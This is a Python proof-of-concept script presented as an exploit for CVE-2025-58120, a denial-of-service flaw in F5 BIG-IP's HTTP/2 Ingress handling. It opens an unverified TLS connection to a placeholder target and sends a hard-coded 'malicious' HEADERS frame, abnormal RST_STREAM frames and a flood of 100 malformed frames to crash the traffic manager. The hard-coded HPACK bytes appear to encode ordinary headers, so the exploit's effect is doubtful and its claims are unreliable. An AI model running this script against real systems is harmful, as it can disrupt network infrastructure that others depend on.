# CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress TMM Termination PoC
# This PoC demonstrates sending malformed HTTP/2 frames to trigger TMM termination
# Affected: F5 BIG-IP with HTTP/2 Ingress configured
import socket
import ssl
import struct
import sys
TARGET_HOST = "<target_big_ip_ip>"
TARGET_PORT = 443 # HTTPS port with HTTP/2 Ingress enabled
def build_http2_frame(length, type_, flags, stream_id, payload):
"""Build an HTTP/2 frame"""
# Frame format: Length(24) | Type(8) | Flags(8) | Stream_ID(32) | Payload
header = struct.pack('>I', length)[1:] # 24-bit length
header += struct.pack('B', type_)
header += struct.pack('B', flags)
header += struct.pack('>I', stream_id & 0x7FFFFFFF)
return header + payload
def build_settings_frame():
"""Build HTTP/2 SETTINGS frame"""
# SETTINGS frame (type=0x4), empty payload
return build_http2_frame(0, 0x4, 0x0, 0, b'')
def build_malicious_headers_frame():
"""Build a malformed HEADERS frame to trigger TMM termination"""
# Construct a pseudo-header block with invalid/oversized values
# HPACK encoded malicious headers targeting HTTP/2 Ingress parser
malicious_payload = b'\x82\x86\x84\x41\x8a\x08\x9d\x5c\x0b\x81\x70\xdc\x78\x0f\x03'
# HEADERS frame (type=0x1) with END_HEADERS flag
return build_http2_frame(len(malicious_payload), 0x1, 0x4, 1, malicious_payload)
def build_rst_stream_frame(stream_id, error_code=0x2):
"""Build RST_STREAM frame with abnormal error code"""
payload = struct.pack('>I', error_code)
return build_http2_frame(4, 0x3, 0x0, stream_id, payload)
def exploit():
"""Main exploit function"""
print(f"[*] Targeting {TARGET_HOST}:{TARGET_PORT}")
print("[*] CVE-2025-58120 - F5 BIG-IP HTTP/2 Ingress DoS")
try:
# Create SSL context for HTTPS
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
# Enable HTTP/2 ALPN
ctx.set_alpn_protocols(['h2'])
# Connect to target
raw_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
raw_sock.settimeout(10)
sock = ctx.wrap_socket(raw_sock, server_hostname=TARGET_HOST)
sock.connect((TARGET_HOST, TARGET_PORT))
print("[+] SSL connection established with HTTP/2 negotiation")
# HTTP/2 connection preface
sock.send(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n')
# Send SETTINGS frame
sock.send(build_settings_frame())
print("[*] Sent SETTINGS frame")
# Send malformed HEADERS frame to trigger vulnerability
sock.send(build_malicious_headers_frame())
print("[*] Sent malformed HEADERS frame")
# Send RST_STREAM with abnormal parameters
for i in range(5):
sock.send(build_rst_stream_frame(1, 0xFFFFFFFF))
print("[*] Sent malicious RST_STREAM frames")
# Send flood of malformed frames
for i in range(100):
sock.send(build_malicious_headers_frame())
print("[+] Malicious HTTP/2 traffic sent successfully")
print("[*] Check if TMM has terminated on the target")
sock.close()
except Exception as e:
print(f"[-] Connection error (may indicate TMM crash): {e}")
print("[+] Target may have been affected by CVE-2025-58120")
if __name__ == "__main__":
exploit()